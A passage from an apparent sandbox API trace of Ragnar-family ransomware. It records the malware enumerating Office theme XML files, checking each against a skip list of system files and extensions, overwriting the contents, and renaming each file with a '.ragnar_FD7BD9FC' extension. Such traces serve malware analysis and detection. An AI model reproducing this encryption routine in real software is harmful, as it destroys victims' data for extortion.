hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.584] VirtualAlloc (lpAddress=0x0, dwSize=0x3c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.584] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c1, lpOverlapped=0x0) returned 1 [0093.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.584] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.584] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c1, lpOverlapped=0x0) returned 1 [0093.585] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.585] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.585] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.585] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.585] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.585] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.585] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.585] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.585] GetProcessHeap () returned 0x580000 [0093.585] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.585] CloseHandle (hObject=0x10c) returned 1 [0093.585] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" [0093.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.ragnar_FD7BD9FC" [0093.585] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0093.586] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.586] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Essential.xml" | out: lpString1="Essential.xml") returned="Essential.xml" [0093.586] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml") returned=".xml" [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="autorun.inf") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="boot.ini") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="bootfont.bin") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="bootsect.bak") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgr") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgr.efi") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgfw.efi") returned 1 [0093.586] lstrcmpiW (lpString1="Essential.xml", lpString2="desktop.ini") returned 1 [0093.587] lstrcmpiW (lpString1="Essential.xml", lpString2="iconcache.db") returned -1 [0093.587] lstrcmpiW (lpString1="Essential.xml", lpString2="ntldr") returned -1 [0093.587] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.dat") returned -1 [0093.587] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.dat.log") returned -1 [0093.587] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.ini") returned -1 [0093.587] lstrcmpiW (lpString1="Essential.xml", lpString2="thumbs.db") returned -1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.587] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml")) returned 0x20 [0093.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.588] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=928) returned 1 [0093.588] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x397, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.588] GetProcessHeap () returned 0x580000 [0093.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.588] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.589] VirtualAlloc (lpAddress=0x0, dwSize=0x3a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.590] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a0, lpOverlapped=0x0) returned 1 [0093.590] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.590] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.590] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a0, lpOverlapped=0x0) returned 1 [0093.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.590] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.590] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.590] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.590] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.590] GetProcessHeap () returned 0x580000 [0093.590] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.591] CloseHandle (hObject=0x10c) returned 1 [0093.591] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" [0093.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.ragnar_FD7BD9FC" [0093.591] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.591] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0093.591] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.591] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Executive.xml" | out: lpString1="Executive.xml") returned="Executive.xml" [0093.591] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml") returned=".xml" [0093.591] lstrcmpiW (lpString1="Executive.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="autorun.inf") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="boot.ini") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="bootfont.bin") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="bootsect.bak") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgr") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgr.efi") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgfw.efi") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="desktop.ini") returned 1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="iconcache.db") returned -1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="ntldr") returned -1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.dat") returned -1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.dat.log") returned -1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.ini") returned -1 [0093.592] lstrcmpiW (lpString1="Executive.xml", lpString2="thumbs.db") returned -1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.592] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml")) returned 0x20 [0093.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.593] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=964) returned 1 [0093.593] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.593] GetProcessHeap () returned 0x580000 [0093.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.593] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.594] VirtualAlloc (lpAddress=0x0, dwSize=0x3c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.595] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.595] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.595] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c4, lpOverlapped=0x0) returned 1 [0093.595] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.595] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.595] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c4, lpOverlapped=0x0) returned 1 [0093.595] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.595] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.595] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.595] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.595] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.595] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.596] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.596] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.596] GetProcessHeap () returned 0x580000 [0093.596] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.596] CloseHandle (hObject=0x10c) returned 1 [0093.596] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" [0093.596] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.ragnar_FD7BD9FC" [0093.596] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.596] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0093.597] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.597] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Flow.xml" | out: lpString1="Flow.xml") returned="Flow.xml" [0093.597] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml") returned=".xml" [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="autorun.inf") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="boot.ini") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="bootfont.bin") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="bootsect.bak") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgr") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgr.efi") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgfw.efi") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="desktop.ini") returned 1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="iconcache.db") returned -1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="ntldr") returned -1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.dat") returned -1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.dat.log") returned -1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.ini") returned -1 [0093.597] lstrcmpiW (lpString1="Flow.xml", lpString2="thumbs.db") returned -1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.597] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml")) returned 0x20 [0093.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.598] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=959) returned 1 [0093.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.598] GetProcessHeap () returned 0x580000 [0093.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.598] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.600] VirtualAlloc (lpAddress=0x0, dwSize=0x3bf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.600] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3bf, lpOverlapped=0x0) returned 1 [0093.600] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.600] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bf, 